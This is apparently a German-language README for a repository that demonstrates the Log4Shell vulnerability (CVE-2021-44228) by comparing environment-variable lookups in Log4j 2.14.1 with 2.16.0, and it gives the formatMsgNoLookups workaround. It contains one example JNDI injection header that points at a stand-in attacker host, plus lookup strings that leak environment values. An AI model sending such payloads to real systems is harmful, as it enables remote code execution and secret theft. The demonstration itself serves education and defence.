nikolas-charalambidis/cve-2021-44228Eine einfache Simulation des berüchtigten CVE-2021-44228-Problems.
Dieses Repository stellt eine vereinfachte Simulation des berüchtigten CVE-2021-44228-Problems dar.
Neben Systemeigenschaften und anderen Dictionary-Strukturen implementiert Apache Log4j auch die JNDI-Lookup-Funktion aus verschiedenen Gründen. JNDI kann Dienste von einer Reihe von Dienstanbietern beziehen, wie z. B. LDAP, DNS, Java RMI-Registry usw. JNDI selbst ist eine einfache und unsichere API, die nicht vor Dienstanbietern schützt, die von Dritten kontrolliert werden. Solange der Angreifer einen über die bösartige URL öffentlich zugänglichen Server kontrolliert und weiß, was von der Anwendung protokolliert wird, die auf einem bestimmten Port lauscht, kann er das Log-Format missbrauchen, um die Anwendung zu veranlassen, beliebigen Java-Code durch JNDI-Injection zu laden und auszuführen. Dies kann über häufig protokollierte Anfrage-Header entweder in Klartext oder in verschleierter Form übergeben werden.
user-agent: ${jndi:ldap://evilserver.com/payload}
Apache Log4j war vor der Version 2.16.0, die am 13. Dezember veröffentlicht wurde, anfällig für eine Sicherheitslücke zur Remote-Code-Ausführung, und die Autoren haben meinen gebührenden Respekt für ihre schnelle Reaktion.
Ressourcen:
Die Simulation verwendet Umgebungsvariablen anstelle eines LDAP-Servers, ebenso wie das Log-Format die Property-Substitution unterstützt. Das Prinzip ist kein anderes.
Java 11 und Maven werden benötigt, dennoch ist der Maven Wrapper ebenfalls im Repository enthalten.
Das GitHub-Repository definiert ein Repository-Secret PASSWORD, das als Umgebungsvariable in der Workflow-Datei .github/workflow/ci.yml gesetzt wird, um ein Secret für eine Aktion verfügbar zu machen.
Um das Problem lokal zu reproduzieren, kann die häufig verwendete Umgebungsvariable JAVA_HOME genutzt werden.
Der Workflow erstellt und führt zwei Anwendungen mit verschiedenen Apache Log4j-Versionen 2.14.1 und 2.16.0 aus, und hier ist eine Beispielausführung auf GitHub Actions: Java CI #7.
Diese Version ist anfällig für den Angriff. Führen Sie die folgenden Schritte aus, um dies zu reproduzieren:
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
Die Umgebungsvariable erscheint protokolliert:
args[0] = C:\Programme\Java\jdk-11.0.11
Hier ist ein Screenshot aus GitHub Actions, falls der eigentliche Lauf automatisch entfernt wird:
Beachten Sie, dass GitHub, sobald Sie versuchen, Secrets im Log auszugeben, diese automatisch redigiert und die Werte maskiert als *** angezeigt werden.
Die Eigenschaft wurde jedoch substituiert.
Ein vorübergehender und teilweiser Workaround besteht darin, den JVM-Parameter -Dlog4j2.formatMsgNoLookups=True hinzuzufügen, daher ist es erforderlich, alle Knoten der Anwendung neu zu starten.
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
Keine Property-Substitution findet statt:
args[0] = ${env:JAVA_HOME:-}
Auch hier ein Screenshot aus GitHub Actions:
Das Problem wurde in Log4j 2.12.2 (Java 7) und Log4j 2.16.0 (Java 8) durch das Log4j-Sicherheitsteam behoben.
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
Keine Property-Substitution findet statt:
args[0] = ${env:JAVA_HOME:-}
Auch hier ein Screenshot aus GitHub Actions:
